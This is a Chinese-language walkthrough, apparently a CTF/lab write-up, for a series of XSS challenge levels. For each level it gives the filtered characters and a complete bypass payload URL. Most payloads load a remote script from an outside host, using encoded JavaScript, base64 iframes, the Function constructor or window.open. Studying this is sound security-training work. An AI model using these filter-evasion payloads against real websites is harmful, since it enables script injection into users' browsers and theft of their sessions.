独孤九剑xss通关教程
字数 1194 2025-08-24 16:48:16

独孤九剑XSS通关教程详解

第一式:基础HTML编码绕过

过滤规则:过滤了 =()

绕过方法

  • 在SVG标签下的script标签可以使用HTML编码
  • 利用HTML编码绕过对=()的过滤

构造payload

?data="><svg><script>&#x65;&#x76;&#x61;&#x6c;&#x28;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x68;&#x61;&#x73;&#x68;&#x2e;&#x73;&#x6c;&#x69;&#x63;&#x65;&#x28;&#x31;&#x29;&#x29;</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

解码后等价于

?data=">#with(document)body.appendChild(createElement('script')).src='http://127.0.0.1/xss/alert.js'

第二式:Unicode编码绕过

过滤规则:过滤了 =().(新增了.的过滤)

绕过方法

  • 使用setTimeout和反引号``代替括号
  • 采用Unicode编码绕过对().的限制

构造payload

http://xcao.vip/test/xss2.php?data=xxx"><script>setTimeout`\u0065\u0076\u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029`;</script>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

第三式:URL编码绕过

过滤规则:过滤了 ().&#\(放开=的过滤,新增&#\的过滤)

绕过方法

  • 直接使用script加载
  • 利用%2eURL编码绕过对点号的过滤

构造payload

http://xcao.vip/test/xss3.php?data="><script src=http://xcao%252evip/xss/alert%252ejs></script>

第四式:伪协议+URL编码

过滤规则:过滤了 =().&#\

绕过方法

  • 使用javascript伪协议+URL编码
  • 利用location.replace方法引入javascript协议
  • ().分别用%2528%2529%252e编码

构造payload

http://xcao.vip/test/xss4.php?data=1"><script>top["document"]["write"]`${top["String"]["fromCharCode"]`61`+"data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=>111</iframe>"} <iframe src`</script><!--

第五式:IP十进制表示法

过滤规则:过滤了 ().&#\%(新增%的过滤)

绕过方法

  • 将IP地址转换成十进制表示法避免使用点号
  • 使用域名跳转技术

构造payload

http://xcao.vip/test/xss5.php?data="><script src=http://2067398186/xxx></script>

第六式:iframe+base64编码

过滤规则:多种字符被过滤

绕过方法

  • 使用iframe标签配合base64编码的JS加载

构造payload1

http://xcao.vip/test/xss6.php?data=1"><script>top["document"]["write"]`${top["String"]["fromCharCode"]`61`+"data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=>111</iframe>"} <iframe src`</script><!--

构造payload2

http://xcao.vip/test/xss6.php?data="><iframe></iframe><script>frames[0]["location"]["replace"]`data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cHM6Ly9ldmlsNy5jbi90ZXN0L3hzcy5qcz48L3NjcmlwdD4`</script>

第七式:ASCII编码绕过

过滤规则:输入点在JS中

绕过方法

  • =,<,>进行ASCII编码

构造payload1

http://xcao.vip/test/xss7.php?data="";top["document"]["write"]`${top["String"]["fromCharCode"]`60`+"iframe src"+top["String"]["fromCharCode"]`61`+"data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4="+top["String"]["fromCharCode"]`62`}`

构造payload2(使用hash保存工具向量):

http://xcao.vip/test/xss7.php/?data=1;[]['constructor']['constructor']`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

第八式:base64编码+Function构造器

过滤规则:新增'"[]的过滤

绕过方法

  • 利用base64编码和Function构造器

构造payload

http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}```

第八-1式:伪协议base64

过滤规则:新增{}的过滤

绕过方法

  • 使用伪协议和base64编码

构造payload

http://xcao.vip/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a`

第八-2式:window.open绕过

过滤规则:过滤了Function,限制[]和引号

绕过方法

  • 使用window.open方法
  • 利用JS模板字符串传递参数

构造payload

http://xcao.vip//test/xss8-2.php?data=open`javascript:name//${atob`PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc+`}`

总结

本教程展示了多种XSS绕过技术,包括:

  1. HTML实体编码
  2. Unicode编码
  3. URL编码
  4. IP十进制表示法
  5. base64编码
  6. iframe标签利用
  7. Function构造器
  8. window.open方法
  9. JS模板字符串

每种技术都针对特定的过滤规则,展示了XSS攻击的灵活性和多样性,同时也强调了Web应用安全防护需要多层次、多角度的防御策略。

独孤九剑XSS通关教程详解 第一式:基础HTML编码绕过 过滤规则 :过滤了 =() 绕过方法 : 在SVG标签下的script标签可以使用HTML编码 利用HTML编码绕过对 =() 的过滤 构造payload : 解码后等价于 : 第二式:Unicode编码绕过 过滤规则 :过滤了 =(). (新增了 . 的过滤) 绕过方法 : 使用 setTimeout 和反引号 `` 代替括号 采用Unicode编码绕过对 () 和 . 的限制 构造payload : 第三式:URL编码绕过 过滤规则 :过滤了 ().&#\ (放开 = 的过滤,新增 &#\ 的过滤) 绕过方法 : 直接使用script加载 利用 %2e URL编码绕过对点号的过滤 构造payload : 第四式:伪协议+URL编码 过滤规则 :过滤了 =().&#\ 绕过方法 : 使用javascript伪协议+URL编码 利用 location.replace 方法引入javascript协议 将 (). 分别用 %2528 、 %2529 、 %252e 编码 构造payload : 第五式:IP十进制表示法 过滤规则 :过滤了 ().&#\% (新增 % 的过滤) 绕过方法 : 将IP地址转换成十进制表示法避免使用点号 使用域名跳转技术 构造payload : 第六式:iframe+base64编码 过滤规则 :多种字符被过滤 绕过方法 : 使用iframe标签配合base64编码的JS加载 构造payload1 : 构造payload2 : 第七式:ASCII编码绕过 过滤规则 :输入点在JS中 绕过方法 : 将 = , < , > 进行ASCII编码 构造payload1 : 构造payload2 (使用hash保存工具向量): 第八式:base64编码+Function构造器 过滤规则 :新增 '"[] 的过滤 绕过方法 : 利用base64编码和Function构造器 构造payload : 第八-1式:伪协议base64 过滤规则 :新增 {} 的过滤 绕过方法 : 使用伪协议和base64编码 构造payload : 第八-2式:window.open绕过 过滤规则 :过滤了 Function ,限制 [] 和引号 绕过方法 : 使用 window.open 方法 利用JS模板字符串传递参数 构造payload : 总结 本教程展示了多种XSS绕过技术,包括: HTML实体编码 Unicode编码 URL编码 IP十进制表示法 base64编码 iframe标签利用 Function构造器 window.open方法 JS模板字符串 每种技术都针对特定的过滤规则,展示了XSS攻击的灵活性和多样性,同时也强调了Web应用安全防护需要多层次、多角度的防御策略。